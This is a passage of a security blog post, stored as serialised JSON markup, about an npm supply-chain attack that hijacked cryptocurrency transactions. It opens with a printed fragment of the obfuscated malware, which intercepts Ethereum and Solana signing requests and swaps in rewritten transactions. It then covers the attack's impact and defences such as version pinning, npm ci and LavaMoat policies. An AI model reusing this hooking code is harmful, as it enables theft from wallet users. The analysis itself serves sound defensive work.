'solana_signTransaction' ||\n _0x2c3d7e.method === 'solana_signAndSendTransaction') &&\n _0x2c3d7e.params &&\n _0x2c3d7e.params[0]\n ) {\n try {\n let _0x5ad975 = _0x2c3d7e.params[0];\n if (_0x5ad975.transaction) {\n _0x5ad975 = _0x5ad975.transaction;\n }\n const _0x5dbe63 = _0x1089ae(_0x5ad975, false);\n if (_0x2c3d7e.params[0].transaction) {\n _0x2c3d7e.params[0].transaction = _0x5dbe63;\n } else {\n _0x2c3d7e.params[0] = _0x5dbe63;\n }\n } catch (_0x4b99fd) {}\n }\n}\n",[98611],{"type":21,"tag":194,"props":98612,"children":98613},{"__ignoreMap":7},[98614,98693,98704,98761,98801,98826,98841,98852,98886,98919,98938,98965,98973,98984,99024,99053,99081,99088,99128,99171,99215,99230,99269,99276,99300,99307],{"type":21,"tag":198,"props":98615,"children":98616},{"class":200,"line":201},[98617,98621,98625,98630,98634,98638,98642,98647,98651,98656,98660,98665,98669,98673,98677,98681,98685,98689],{"type":21,"tag":198,"props":98618,"children":98619},{"style":640},[98620],{"type":27,"value":16382},{"type":21,"tag":198,"props":98622,"children":98623},{"style":211},[98624],{"type":27,"value":648},{"type":21,"tag":198,"props":98626,"children":98627},{"style":226},[98628],{"type":27,"value":98629},"_0x2c3d7e",{"type":21,"tag":198,"props":98631,"children":98632},{"style":211},[98633],{"type":27,"value":658},{"type":21,"tag":198,"props":98635,"children":98636},{"style":226},[98637],{"type":27,"value":39071},{"type":21,"tag":198,"props":98639,"children":98640},{"style":683},[98641],{"type":27,"value":1531},{"type":21,"tag":198,"props":98643,"children":98644},{"style":205},[98645],{"type":27,"value":98646}," 'eth_sendTransaction'",{"type":21,"tag":198,"props":98648,"children":98649},{"style":683},[98650],{"type":27,"value":1819},{"type":21,"tag":198,"props":98652,"children":98653},{"style":226},[98654],{"type":27,"value":98655}," _0x2c3d7e",{"type":21,"tag":198,"props":98657,"children":98658},{"style":211},[98659],{"type":27,"value":658},{"type":21,"tag":198,"props":98661,"children":98662},{"style":226},[98663],{"type":27,"value":98664},"params",{"type":21,"tag":198,"props":98666,"children":98667},{"style":683},[98668],{"type":27,"value":1819},{"type":21,"tag":198,"props":98670,"children":98671},{"style":226},[98672],{"type":27,"value":98655},{"type":21,"tag":198,"props":98674,"children":98675},{"style":211},[98676],{"type":27,"value":658},{"type":21,"tag":198,"props":98678,"children":98679},{"style":226},[98680],{"type":27,"value":98664},{"type":21,"tag":198,"props":98682,"children":98683},{"style":211},[98684],{"type":27,"value":2051},{"type":21,"tag":198,"props":98686,"children":98687},{"style":2540},[98688],{"type":27,"value":3482},{"type":21,"tag":198,"props":98690,"children":98691},{"style":211},[98692],{"type":27,"value":41377},{"type":21,"tag":198,"props":98694,"children":98695},{"class":200,"line":217},[98696,98700],{"type":21,"tag":198,"props":98697,"children":98698},{"style":640},[98699],{"type":27,"value":97732},{"type":21,"tag":198,"props":98701,"children":98702},{"style":211},[98703],{"type":27,"value":233},{"type":21,"tag":198,"props":98705,"children":98706},{"class":200,"line":236},[98707,98711,98716,98720,98725,98729,98733,98737,98741,98745,98749,98753,98757],{"type":21,"tag":198,"props":98708,"children":98709},{"style":249},[98710],{"type":27,"value":52044},{"type":21,"tag":198,"props":98712,"children":98713},{"style":226},[98714],{"type":27,"value":98715}," _0x39ad21",{"type":21,"tag":198,"props":98717,"children":98718},{"style":683},[98719],{"type":27,"value":979},{"type":21,"tag":198,"props":98721,"children":98722},{"style":698},[98723],{"type":27,"value":98724}," _0x1089ae",{"type":21,"tag":198,"props":98726,"children":98727},{"style":211},[98728],{"type":27,"value":706},{"type":21,"tag":198,"props":98730,"children":98731},{"style":226},[98732],{"type":27,"value":98629},{"type":21,"tag":198,"props":98734,"children":98735},{"style":211},[98736],{"type":27,"value":658},{"type":21,"tag":198,"props":98738,"children":98739},{"style":226},[98740],{"type":27,"value":98664},{"type":21,"tag":198,"props":98742,"children":98743},{"style":211},[98744],{"type":27,"value":2051},{"type":21,"tag":198,"props":98746,"children":98747},{"style":2540},[98748],{"type":27,"value":3482},{"type":21,"tag":198,"props":98750,"children":98751},{"style":211},[98752],{"type":27,"value":23853},{"type":21,"tag":198,"props":98754,"children":98755},{"style":249},[98756],{"type":27,"value":4806},{"type":21,"tag":198,"props":98758,"children":98759},{"style":211},[98760],{"type":27,"value":1470},{"type":21,"tag":198,"props":98762,"children":98763},{"class":200,"line":260},[98764,98769,98773,98777,98781,98785,98789,98793,98797],{"type":21,"tag":198,"props":98765,"children":98766},{"style":226},[98767],{"type":27,"value":98768}," _0x2c3d7e",{"type":21,"tag":198,"props":98770,"children":98771},{"style":211},[98772],{"type":27,"value":658},{"type":21,"tag":198,"props":98774,"children":98775},{"style":226},[98776],{"type":27,"value":98664},{"type":21,"tag":198,"props":98778,"children":98779},{"style":211},[98780],{"type":27,"value":2051},{"type":21,"tag":198,"props":98782,"children":98783},{"style":2540},[98784],{"type":27,"value":3482},{"type":21,"tag":198,"props":98786,"children":98787},{"style":211},[98788],{"type":27,"value":9472},{"type":21,"tag":198,"props":98790,"children":98791},{"style":683},[98792],{"type":27,"value":3174},{"type":21,"tag":198,"props":98794,"children":98795},{"style":226},[98796],{"type":27,"value":98715},{"type":21,"tag":198,"props":98798,"children":98799},{"style":211},[98800],{"type":27,"value":1483},{"type":21,"tag":198,"props":98802,"children":98803},{"class":200,"line":281},[98804,98808,98812,98816,98821],{"type":21,"tag":198,"props":98805,"children":98806},{"style":211},[98807],{"type":27,"value":1244},{"type":21,"tag":198,"props":98809,"children":98810},{"style":640},[98811],{"type":27,"value":1498},{"type":21,"tag":198,"props":98813,"children":98814},{"style":211},[98815],{"type":27,"value":648},{"type":21,"tag":198,"props":98817,"children":98818},{"style":226},[98819],{"type":27,"value":98820},"_0x226343",{"type":21,"tag":198,"props":98822,"children":98823},{"style":211},[98824],{"type":27,"value":98825},") {}\n",{"type":21,"tag":198,"props":98827,"children":98828},{"class":200,"line":302},[98829,98833,98837],{"type":21,"tag":198,"props":98830,"children":98831},{"style":211},[98832],{"type":27,"value":1270},{"type":21,"tag":198,"props":98834,"children":98835},{"style":640},[98836],{"type":27,"value":4122},{"type":21,"tag":198,"props":98838,"children":98839},{"style":211},[98840],{"type":27,"value":233},{"type":21,"tag":198,"props":98842,"children":98843},{"class":200,"line":323},[98844,98848],{"type":21,"tag":198,"props":98845,"children":98846},{"style":640},[98847],{"type":27,"value":1036},{"type":21,"tag":198,"props":98849,"children":98850},{"style":211},[98851],{"type":27,"value":78948},{"type":21,"tag":198,"props":98853,"children":98854},{"class":200,"line":344},[98855,98860,98864,98868,98872,98876,98881],{"type":21,"tag":198,"props":98856,"children":98857},{"style":211},[98858],{"type":27,"value":98859}," (",{"type":21,"tag":198,"props":98861,"children":98862},{"style":226},[98863],{"type":27,"value":98629},{"type":21,"tag":198,"props":98865,"children":98866},{"style":211},[98867],{"type":27,"value":658},{"type":21,"tag":198,"props":98869,"children":98870},{"style":226},[98871],{"type":27,"value":39071},{"type":21,"tag":198,"props":98873,"children":98874},{"style":683},[98875],{"type":27,"value":1531},{"type":21,"tag":198,"props":98877,"children":98878},{"style":205},[98879],{"type":27,"value":98880}," 'solana_signTransaction'",{"type":21,"tag":198,"props":98882,"children":98883},{"style":683},[98884],{"type":27,"value":98885}," ||\n",{"type":21,"tag":198,"props":98887,"children":98888},{"class":200,"line":365},[98889,98894,98898,98902,98906,98911,98915],{"type":21,"tag":198,"props":98890,"children":98891},{"style":226},[98892],{"type":27,"value":98893}," _0x2c3d7e",{"type":21,"tag":198,"props":98895,"children":98896},{"style":211},[98897],{"type":27,"value":658},{"type":21,"tag":198,"props":98899,"children":98900},{"style":226},[98901],{"type":27,"value":39071},{"type":21,"tag":198,"props":98903,"children":98904},{"style":683},[98905],{"type":27,"value":1531},{"type":21,"tag":198,"props":98907,"children":98908},{"style":205},[98909],{"type":27,"value":98910}," 'solana_signAndSendTransaction'",{"type":21,"tag":198,"props":98912,"children":98913},{"style":211},[98914],{"type":27,"value":1541},{"type":21,"tag":198,"props":98916,"children":98917},{"style":683},[98918],{"type":27,"value":84197},{"type":21,"tag":198,"props":98920,"children":98921},{"class":200,"line":386},[98922,98926,98930,98934],{"type":21,"tag":198,"props":98923,"children":98924},{"style":226},[98925],{"type":27,"value":98768},{"type":21,"tag":198,"props":98927,"children":98928},{"style":211},[98929],{"type":27,"value":658},{"type":21,"tag":198,"props":98931,"children":98932},{"style":226},[98933],{"type":27,"value":98664},{"type":21,"tag":198,"props":98935,"children":98936},{"style":683},[98937],{"type":27,"value":53060},{"type":21,"tag":198,"props":98939,"children":98940},{"class":200,"line":408},[98941,98945,98949,98953,98957,98961],{"type":21,"tag":198,"props":98942,"children":98943},{"style":226},[98944],{"type":27,"value":98768},{"type":21,"tag":198,"props":98946,"children":98947},{"style":211},[98948],{"type":27,"value":658},{"type":21,"tag":198,"props":98950,"children":98951},{"style":226},[98952],{"type":27,"value":98664},{"type":21,"tag":198,"props":98954,"children":98955},{"style":211},[98956],{"type":27,"value":2051},{"type":21,"tag":198,"props":98958,"children":98959},{"style":2540},[98960],{"type":27,"value":3482},{"type":21,"tag":198,"props":98962,"children":98963},{"style":211},[98964],{"type":27,"value":12582},{"type":21,"tag":198,"props":98966,"children":98967},{"class":200,"line":429},[98968],{"type":21,"tag":198,"props":98969,"children":98970},{"style":211},[98971],{"type":27,"value":98972}," ) {\n",{"type":21,"tag":198,"props":98974,"children":98975},{"class":200,"line":450},[98976,98980],{"type":21,"tag":198,"props":98977,"children":98978},{"style":640},[98979],{"type":27,"value":70362},{"type":21,"tag":198,"props":98981,"children":98982},{"style":211},[98983],{"type":27,"value":233},{"type":21,"tag":198,"props":98985,"children":98986},{"class":200,"line":468},[98987,98991,98996,99000,99004,99008,99012,99016,99020],{"type":21,"tag":198,"props":98988,"children":98989},{"style":249},[98990],{"type":27,"value":8886},{"type":21,"tag":198,"props":98992,"children":98993},{"style":226},[98994],{"type":27,"value":98995}," _0x5ad975",{"type":21,"tag":198,"props":98997,"children":98998},{"style":683},[98999],{"type":27,"value":979},{"type":21,"tag":198,"props":99001,"children":99002},{"style":226},[99003],{"type":27,"value":98655},{"type":21,"tag":198,"props":99005,"children":99006},{"style":211},[99007],{"type":27,"value":658},{"type":21,"tag":198,"props":99009,"children":99010},{"style":226},[99011],{"type":27,"value":98664},{"type":21,"tag":198,"props":99013,"children":99014},{"style":211},[99015],{"type":27,"value":2051},{"type":21,"tag":198,"props":99017,"children":99018},{"style":2540},[99019],{"type":27,"value":3482},{"type":21,"tag":198,"props":99021,"children":99022},{"style":211},[99023],{"type":27,"value":32361},{"type":21,"tag":198,"props":99025,"children":99026},{"class":200,"line":477},[99027,99031,99035,99040,99044,99049],{"type":21,"tag":198,"props":99028,"children":99029},{"style":640},[99030],{"type":27,"value":676},{"type":21,"tag":198,"props":99032,"children":99033},{"style":211},[99034],{"type":27,"value":648},{"type":21,"tag":198,"props":99036,"children":99037},{"style":226},[99038],{"type":27,"value":99039},"_0x5ad975",{"type":21,"tag":198,"props":99041,"children":99042},{"style":211},[99043],{"type":27,"value":658},{"type":21,"tag":198,"props":99045,"children":99046},{"style":226},[99047],{"type":27,"value":99048},"transaction",{"type":21,"tag":198,"props":99050,"children":99051},{"style":211},[99052],{"type":27,"value":668},{"type":21,"tag":198,"props":99054,"children":99055},{"class":200,"line":494},[99056,99061,99065,99069,99073,99077],{"type":21,"tag":198,"props":99057,"children":99058},{"style":226},[99059],{"type":27,"value":99060}," _0x5ad975",{"type":21,"tag":198,"props":99062,"children":99063},{"style":683},[99064],{"type":27,"value":979},{"type":21,"tag":198,"props":99066,"children":99067},{"style":226},[99068],{"type":27,"value":98995},{"type":21,"tag":198,"props":99070,"children":99071},{"style":211},[99072],{"type":27,"value":658},{"type":21,"tag":198,"props":99074,"children":99075},{"style":226},[99076],{"type":27,"value":99048},{"type":21,"tag":198,"props":99078,"children":99079},{"style":211},[99080],{"type":27,"value":1483},{"type":21,"tag":198,"props":99082,"children":99083},{"class":200,"line":515},[99084],{"type":21,"tag":198,"props":99085,"children":99086},{"style":211},[99087],{"type":27,"value":797},{"type":21,"tag":198,"props":99089,"children":99090},{"class":200,"line":4484},[99091,99095,99100,99104,99108,99112,99116,99120,99124],{"type":21,"tag":198,"props":99092,"children":99093},{"style":249},[99094],{"type":27,"value":32334},{"type":21,"tag":198,"props":99096,"children":99097},{"style":226},[99098],{"type":27,"value":99099}," _0x5dbe63",{"type":21,"tag":198,"props":99101,"children":99102},{"style":683},[99103],{"type":27,"value":979},{"type":21,"tag":198,"props":99105,"children":99106},{"style":698},[99107],{"type":27,"value":98724},{"type":21,"tag":198,"props":99109,"children":99110},{"style":211},[99111],{"type":27,"value":706},{"type":21,"tag":198,"props":99113,"children":99114},{"style":226},[99115],{"type":27,"value":99039},{"type":21,"tag":198,"props":99117,"children":99118},{"style":211},[99119],{"type":27,"value":828},{"type":21,"tag":198,"props":99121,"children":99122},{"style":249},[99123],{"type":27,"value":3264},{"type":21,"tag":198,"props":99125,"children":99126},{"style":211},[99127],{"type":27,"value":1470},{"type":21,"tag":198,"props":99129,"children":99130},{"class":200,"line":4493},[99131,99135,99139,99143,99147,99151,99155,99159,99163,99167],{"type":21,"tag":198,"props":99132,"children":99133},{"style":640},[99134],{"type":27,"value":676},{"type":21,"tag":198,"props":99136,"children":99137},{"style":211},[99138],{"type":27,"value":648},{"type":21,"tag":198,"props":99140,"children":99141},{"style":226},[99142],{"type":27,"value":98629},{"type":21,"tag":198,"props":99144,"children":99145},{"style":211},[99146],{"type":27,"value":658},{"type":21,"tag":198,"props":99148,"children":99149},{"style":226},[99150],{"type":27,"value":98664},{"type":21,"tag":198,"props":99152,"children":99153},{"style":211},[99154],{"type":27,"value":2051},{"type":21,"tag":198,"props":99156,"children":99157},{"style":2540},[99158],{"type":27,"value":3482},{"type":21,"tag":198,"props":99160,"children":99161},{"style":211},[99162],{"type":27,"value":3487},{"type":21,"tag":198,"props":99164,"children":99165},{"style":226},[99166],{"type":27,"value":99048},{"type":21,"tag":198,"props":99168,"children":99169},{"style":211},[99170],{"type":27,"value":668},{"type":21,"tag":198,"props":99172,"children":99173},{"class":200,"line":4561},[99174,99179,99183,99187,99191,99195,99199,99203,99207,99211],{"type":21,"tag":198,"props":99175,"children":99176},{"style":226},[99177],{"type":27,"value":99178}," _0x2c3d7e",{"type":21,"tag":198,"props":99180,"children":99181},{"style":211},[99182],{"type":27,"value":658},{"type":21,"tag":198,"props":99184,"children":99185},{"style":226},[99186],{"type":27,"value":98664},{"type":21,"tag":198,"props":99188,"children":99189},{"style":211},[99190],{"type":27,"value":2051},{"type":21,"tag":198,"props":99192,"children":99193},{"style":2540},[99194],{"type":27,"value":3482},{"type":21,"tag":198,"props":99196,"children":99197},{"style":211},[99198],{"type":27,"value":3487},{"type":21,"tag":198,"props":99200,"children":99201},{"style":226},[99202],{"type":27,"value":99048},{"type":21,"tag":198,"props":99204,"children":99205},{"style":683},[99206],{"type":27,"value":979},{"type":21,"tag":198,"props":99208,"children":99209},{"style":226},[99210],{"type":27,"value":99099},{"type":21,"tag":198,"props":99212,"children":99213},{"style":211},[99214],{"type":27,"value":1483},{"type":21,"tag":198,"props":99216,"children":99217},{"class":200,"line":4569},[99218,99222,99226],{"type":21,"tag":198,"props":99219,"children":99220},{"style":211},[99221],{"type":27,"value":39698},{"type":21,"tag":198,"props":99223,"children":99224},{"style":640},[99225],{"type":27,"value":4122},{"type":21,"tag":198,"props":99227,"children":99228},{"style":211},[99229],{"type":27,"value":233},{"type":21,"tag":198,"props":99231,"children":99232},{"class":200,"line":4599},[99233,99237,99241,99245,99249,99253,99257,99261,99265],{"type":21,"tag":198,"props":99234,"children":99235},{"style":226},[99236],{"type":27,"value":99178},{"type":21,"tag":198,"props":99238,"children":99239},{"style":211},[99240],{"type":27,"value":658},{"type":21,"tag":198,"props":99242,"children":99243},{"style":226},[99244],{"type":27,"value":98664},{"type":21,"tag":198,"props":99246,"children":99247},{"style":211},[99248],{"type":27,"value":2051},{"type":21,"tag":198,"props":99250,"children":99251},{"style":2540},[99252],{"type":27,"value":3482},{"type":21,"tag":198,"props":99254,"children":99255},{"style":211},[99256],{"type":27,"value":9472},{"type":21,"tag":198,"props":99258,"children":99259},{"style":683},[99260],{"type":27,"value":3174},{"type":21,"tag":198,"props":99262,"children":99263},{"style":226},[99264],{"type":27,"value":99099},{"type":21,"tag":198,"props":99266,"children":99267},{"style":211},[99268],{"type":27,"value":1483},{"type":21,"tag":198,"props":99270,"children":99271},{"class":200,"line":4607},[99272],{"type":21,"tag":198,"props":99273,"children":99274},{"style":211},[99275],{"type":27,"value":797},{"type":21,"tag":198,"props":99277,"children":99278},{"class":200,"line":4638},[99279,99283,99287,99291,99296],{"type":21,"tag":198,"props":99280,"children":99281},{"style":211},[99282],{"type":27,"value":16582},{"type":21,"tag":198,"props":99284,"children":99285},{"style":640},[99286],{"type":27,"value":1498},{"type":21,"tag":198,"props":99288,"children":99289},{"style":211},[99290],{"type":27,"value":648},{"type":21,"tag":198,"props":99292,"children":99293},{"style":226},[99294],{"type":27,"value":99295},"_0x4b99fd",{"type":21,"tag":198,"props":99297,"children":99298},{"style":211},[99299],{"type":27,"value":98825},{"type":21,"tag":198,"props":99301,"children":99302},{"class":200,"line":4646},[99303],{"type":21,"tag":198,"props":99304,"children":99305},{"style":211},[99306],{"type":27,"value":2249},{"type":21,"tag":198,"props":99308,"children":99309},{"class":200,"line":4706},[99310],{"type":21,"tag":198,"props":99311,"children":99312},{"style":211},[99313],{"type":27,"value":1120},{"type":21,"tag":59,"props":99315,"children":99317},{"id":99316},"impact-of-the-attack",[99318],{"type":27,"value":99319},"Impact of the Attack",{"type":21,"tag":30,"props":99321,"children":99322},{},[99323],{"type":27,"value":99324},"Despite the attack targeting popular NPM packages, the exploit was not very successful. After two days, the attacker's wallet was only able to drain about $1000. However, the takeaway is how easily a trusted dependency can become a delivery vector for malware.",{"type":21,"tag":22,"props":99326,"children":99328},{"id":99327},"why-it-will-happen-again",[99329],{"type":27,"value":99330},"Why It Will Happen Again",{"type":21,"tag":30,"props":99332,"children":99333},{},[99334],{"type":27,"value":99335},"The decentralized nature of the open-source ecosystem, and particularly a massive registry like NPM, makes it an attractive and persistent target for attackers. Although this recent attack was quickly mitigated and financially minor, it served as a powerful and widely-publicized proof-of-concept showing how one compromised maintainer can distribute malware at scale.",{"type":21,"tag":30,"props":99337,"children":99338},{},[99339],{"type":27,"value":99340},"With over two million packages and countless layers of direct and transitive dependencies, a compromise can cascade through thousands of projects in hours. It's the classic \"needle in a haystack\" problem, except the haystack keeps growing.",{"type":21,"tag":22,"props":99342,"children":99344},{"id":99343},"what-developers-can-do",[99345],{"type":27,"value":99346},"What Developers Can Do",{"type":21,"tag":30,"props":99348,"children":99349},{},[99350],{"type":27,"value":99351},"If you are building critical systems where supply-chain attacks are an unacceptable risk in your threat model, here are some practical actions you can take:",{"type":21,"tag":59,"props":99353,"children":99355},{"id":99354},"_1-version-pinning-in-packagejson",[99356,99358],{"type":27,"value":99357},"1. Version pinning in ",{"type":21,"tag":194,"props":99359,"children":99361},{"className":99360},[],[99362],{"type":27,"value":99363},"package.json",{"type":21,"tag":30,"props":99365,"children":99366},{},[99367],{"type":27,"value":99368},"Applications get compromised by supply-chain attacks when an attacker releases a new version of an NPM package and the application automatically downloads it to have the latest package version.",{"type":21,"tag":30,"props":99370,"children":99371},{},[99372,99374,99380,99382,99387,99389,99394],{"type":27,"value":99373},"You can pin your dependency versions to make sure they won't get updated when running ",{"type":21,"tag":194,"props":99375,"children":99377},{"className":99376},[],[99378],{"type":27,"value":99379},"npm install",{"type":27,"value":99381},". To pin it, just make sure to remove the caret ",{"type":21,"tag":194,"props":99383,"children":99385},{"className":99384},[],[99386],{"type":27,"value":2036},{"type":27,"value":99388}," symbol before the version in ",{"type":21,"tag":194,"props":99390,"children":99392},{"className":99391},[],[99393],{"type":27,"value":99363},{"type":27,"value":185},{"type":21,"tag":187,"props":99396,"children":99398},{"code":99397,"language":2119,"meta":7,"className":34775,"style":7},"\"@react-native-async-storage/async-storage\": \"1.23.1\",\n\"@react-native-community/datetimepicker\": \"8.3.0\",\n\"@react-native-community/netinfo\": \"11.4.1\",\n\"@react-native-picker/picker\": \"2.11.0\"\n",[99399],{"type":21,"tag":194,"props":99400,"children":99401},{"__ignoreMap":7},[99402,99423,99444,99465],{"type":21,"tag":198,"props":99403,"children":99404},{"class":200,"line":201},[99405,99410,99414,99419],{"type":21,"tag":198,"props":99406,"children":99407},{"style":205},[99408],{"type":27,"value":99409},"\"@react-native-async-storage/async-storage\"",{"type":21,"tag":198,"props":99411,"children":99412},{"style":211},[99413],{"type":27,"value":16136},{"type":21,"tag":198,"props":99415,"children":99416},{"style":205},[99417],{"type":27,"value":99418},"\"1.23.1\"",{"type":21,"tag":198,"props":99420,"children":99421},{"style":211},[99422],{"type":27,"value":257},{"type":21,"tag":198,"props":99424,"children":99425},{"class":200,"line":217},[99426,99431,99435,99440],{"type":21,"tag":198,"props":99427,"children":99428},{"style":205},[99429],{"type":27,"value":99430},"\"@react-native-community/datetimepicker\"",{"type":21,"tag":198,"props":99432,"children":99433},{"style":211},[99434],{"type":27,"value":16136},{"type":21,"tag":198,"props":99436,"children":99437},{"style":205},[99438],{"type":27,"value":99439},"\"8.3.0\"",{"type":21,"tag":198,"props":99441,"children":99442},{"style":211},[99443],{"type":27,"value":257},{"type":21,"tag":198,"props":99445,"children":99446},{"class":200,"line":236},[99447,99452,99456,99461],{"type":21,"tag":198,"props":99448,"children":99449},{"style":205},[99450],{"type":27,"value":99451},"\"@react-native-community/netinfo\"",{"type":21,"tag":198,"props":99453,"children":99454},{"style":211},[99455],{"type":27,"value":16136},{"type":21,"tag":198,"props":99457,"children":99458},{"style":205},[99459],{"type":27,"value":99460},"\"11.4.1\"",{"type":21,"tag":198,"props":99462,"children":99463},{"style":211},[99464],{"type":27,"value":257},{"type":21,"tag":198,"props":99466,"children":99467},{"class":200,"line":260},[99468,99473,99477],{"type":21,"tag":198,"props":99469,"children":99470},{"style":205},[99471],{"type":27,"value":99472},"\"@react-native-picker/picker\"",{"type":21,"tag":198,"props":99474,"children":99475},{"style":211},[99476],{"type":27,"value":16136},{"type":21,"tag":198,"props":99478,"children":99479},{"style":205},[99480],{"type":27,"value":99481},"\"2.11.0\"\n",{"type":21,"tag":59,"props":99483,"children":99485},{"id":99484},"_2-use-npm-ci",[99486,99488],{"type":27,"value":99487},"2. Use ",{"type":21,"tag":194,"props":99489,"children":99491},{"className":99490},[],[99492],{"type":27,"value":99493},"npm ci",{"type":21,"tag":30,"props":99495,"children":99496},{},[99497,99502,99504,99510,99512,99517],{"type":21,"tag":194,"props":99498,"children":99500},{"className":99499},[],[99501],{"type":27,"value":99493},{"type":27,"value":99503}," uses the dependency versions from ",{"type":21,"tag":194,"props":99505,"children":99507},{"className":99506},[],[99508],{"type":27,"value":99509},"package-lock.json",{"type":27,"value":99511}," to install the packages. Consider using it in CI/CD workflows and only use ",{"type":21,"tag":194,"props":99513,"children":99515},{"className":99514},[],[99516],{"type":27,"value":99379},{"type":27,"value":99518}," when adding a new package or updating an existing one.",{"type":21,"tag":59,"props":99520,"children":99522},{"id":99521},"_3-implement-lavamoat",[99523,99525],{"type":27,"value":99524},"3. Implement ",{"type":21,"tag":34,"props":99526,"children":99529},{"href":99527,"rel":99528},"https://github.com/LavaMoat/LavaMoat/tree/main",[38],[99530],{"type":21,"tag":6137,"props":99531,"children":99532},{},[99533],{"type":27,"value":99534},"Lavamoat",{"type":21,"tag":30,"props":99536,"children":99537},{},[99538],{"type":27,"value":99539},"Basic hygiene helps, but it doesn’t solve the root issue: a minor utility package has the same permissions as your code. Lavamoat changes this model. Lavamoat, created by MetaMask, addresses this by sandboxing packages and enforcing least privilege. With it, even if a dependency contains malware, it cannot compromise the application.",{"type":21,"tag":30,"props":99541,"children":99542},{},[99543],{"type":27,"value":99544},"Lavamoat uses SES (Hardened JavaScript) to enforce these restrictions, limiting the globals, functions, and sub-dependencies each package can access. The rules are defined in a policy file, which looks like this:",{"type":21,"tag":187,"props":99546,"children":99548},{"code":99547,"language":2119,"meta":7,"className":34775,"style":7},"\"resources\": {\n \"@ethereumjs/util>@ethereumjs/rlp\": {\n \"globals\": {\n \"TextEncoder\": true\n }\n },\n \"@ethereumjs/util\": {\n \"globals\": {\n \"console.warn\": true,\n \"fetch\": true\n },\n \"packages\": {\n \"@ethereumjs/util>@ethereumjs/rlp\": true,\n \"@ethereumjs/util>ethereum-cryptography\": true\n }\n }\n}\n",[99549],{"type":21,"tag":194,"props":99550,"children":99551},{"__ignoreMap":7},[99552,99564,99576,99587,99603,99610,99617,99629,99640,99660,99676,99683,99694,99714,99730,99737,99744],{"type":21,"tag":198,"props":99553,"children":99554},{"class":200,"line":201},[99555,99560],{"type":21,"tag":198,"props":99556,"children":99557},{"style":205},[99558],{"type":27,"value":99559},"\"resources\"",{"type":21,"tag":198,"props":99561,"children":99562},{"style":211},[99563],{"type":27,"value":214},{"type":21,"tag":198,"props":99565,"children":99566},{"class":200,"line":217},[99567,99572],{"type":21,"tag":198,"props":99568,"children":99569},{"style":226},[99570],{"type":27,"value":99571}," \"@ethereumjs/util>@ethereumjs/rlp\"",{"type":21,"tag":198,"props":99573,"children":99574},{"style":211},[99575],{"type":27,"value":214},{"type":21,"tag":198,"props":99577,"children":99578},{"class":200,"line":236},[99579,99583],{"type":21,"tag":198,"props":99580,"children":99581},{"style":226},[99582],{"type":27,"value":223},{"type":21,"tag":198,"props":99584,"children":99585},{"style":211},[99586],{"type":27,"value":214},{"type":21,"tag":198,"props":99588,"children":99589},{"class":200,"line":260},[99590,99595,99599],{"type":21,"tag":198,"props":99591,"children":99592},{"style":226},[99593],{"type":27,"value":99594}," \"TextEncoder\"",{"type":21,"tag":198,"props":99596,"children":99597},{"style":211},[99598],{"type":27,"value":16136},{"type":21,"tag":198,"props":99600,"children":99601},{"style":249},[99602],{"type":27,"value":37958},{"type":21,"tag":198,"props":99604,"children":99605},{"class":200,"line":281},[99606],{"type":21,"tag":198,"props":99607,"children":99608},{"style":211},[99609],{"type":27,"value":797},{"type":21,"tag":198,"props":99611,"children":99612},{"class":200,"line":302},[99613],{"type":21,"tag":198,"props":99614,"children":99615},{"style":211},[99616],{"type":27,"value":26186},{"type":21,"tag":198,"props":99618,"children":99619},{"class":200,"line":323},[99620,99625],{"type":21,"tag":198,"props":99621,"children":99622},{"style":226},[99623],{"type":27,"value":99624}," \"@ethereumjs/util\"",{"type":21,"tag":198,"props":99626,"children":99627},{"style":211},[99628],{"type":27,"value":214},{"type":21,"tag":198,"props":99630,"children":99631},{"class":200,"line":344},[99632,99636],{"type":21,"tag":198,"props":99633,"children":99634},{"style":226},[99635],{"type":27,"value":223},{"type":21,"tag":198,"props":99637,"children":99638},{"style":211},[99639],{"type":27,"value":214},{"type":21,"tag":198,"props":99641,"children":99642},{"class":200,"line":365},[99643,99648,99652,99656],{"type":21,"tag":198,"props":99644,"children":99645},{"style":226},[99646],{"type":27,"value":99647}," \"console.warn\"",{"type":21,"tag":198,"props":99649,"children":99650},{"style":211},[99651],{"type":27,"value":16136},{"type":21,"tag":198,"props":99653,"children":99654},{"style":249},[99655],{"type":27,"value":4806},{"type":21,"tag":198,"props":99657,"children":99658},{"style":211},[99659],{"type":27,"value":257},{"type":21,"tag":198,"props":99661,"children":99662},{"class":200,"line":386},[99663,99668,99672],{"type":21,"tag":198,"props":99664,"children":99665},{"style":226},[99666],{"type":27,"value":99667}," \"fetch\"",{"type":21,"tag":198,"props":99669,"children":99670},{"style":211},[99671],{"type":27,"value":16136},{"type":21,"tag":198,"props":99673,"children":99674},{"style":249},[99675],{"type":27,"value":37958},{"type":21,"tag":198,"props":99677,"children":99678},{"class":200,"line":408},[99679],{"type":21,"tag":198,"props":99680,"children":99681},{"style":211},[99682],{"type":27,"value":474},{"type":21,"tag":198,"props":99684,"children":99685},{"class":200,"line":429},[99686,99690],{"type":21,"tag":198,"props":99687,"children":99688},{"style":226},[99689],{"type":27,"value":483},{"type":21,"tag":198,"props":99691,"children":99692},{"style":211},[99693],{"type":27,"value":214},{"type":21,"tag":198,"props":99695,"children":99696},{"class":200,"line":450},[99697,99702,99706,99710],{"type":21,"tag":198,"props":99698,"children":99699},{"style":226},[99700],{"type":27,"value":99701}," \"@ethereumjs/util>@ethereumjs/rlp\"",{"type":21,"tag":198,"props":99703,"children":99704},{"style":211},[99705],{"type":27,"value":16136},{"type":21,"tag":198,"props":99707,"children":99708},{"style":249},[99709],{"type":27,"value":4806},{"type":21,"tag":198,"props":99711,"children":99712},{"style":211},[99713],{"type":27,"value":257},{"type":21,"tag":198,"props":99715,"children":99716},{"class":200,"line":468},[99717,99722,99726],{"type":21,"tag":198,"props":99718,"children":99719},{"style":226},[99720],{"type":27,"value":99721}," 